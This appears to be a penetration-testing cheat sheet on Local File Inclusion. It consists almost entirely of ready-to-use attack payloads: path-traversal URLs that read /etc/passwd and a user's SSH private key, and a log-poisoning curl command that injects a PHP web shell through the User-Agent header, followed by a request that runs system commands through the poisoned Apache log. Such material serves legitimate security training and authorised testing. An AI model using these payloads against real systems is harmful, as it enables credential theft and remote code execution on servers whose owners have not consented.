killchain-compendium/exploit/web/local_file_inclusion.md

# Local File Inclusion
To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like `https://test.com/?file=robots.txt`, the file may be changed.

* [Acunetix article](https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/)

## Usage

* Exploit URL parameter by including other files.
```
http://example.com/home?page=about.html
http://example.com/home?page=/etc/passwd
```
    * changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
    ```
    http://example.com/home?page=../../../../etc/passwd
    ```
    or
    ```
    http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
    ```

### Log Poisoning
* Inject malicious code into logfiles before using path traversal to open the logfile and trigger the rce.
* `www-data` needs read & write permisson in order to do so.
* Include php code into the `User-Agent` header of the HTTP request. For example a GET parameter to deliver system commandsas follows
```sh
curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'
```
    * Follow up with a request to
    ```HTTP
    curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'
    ```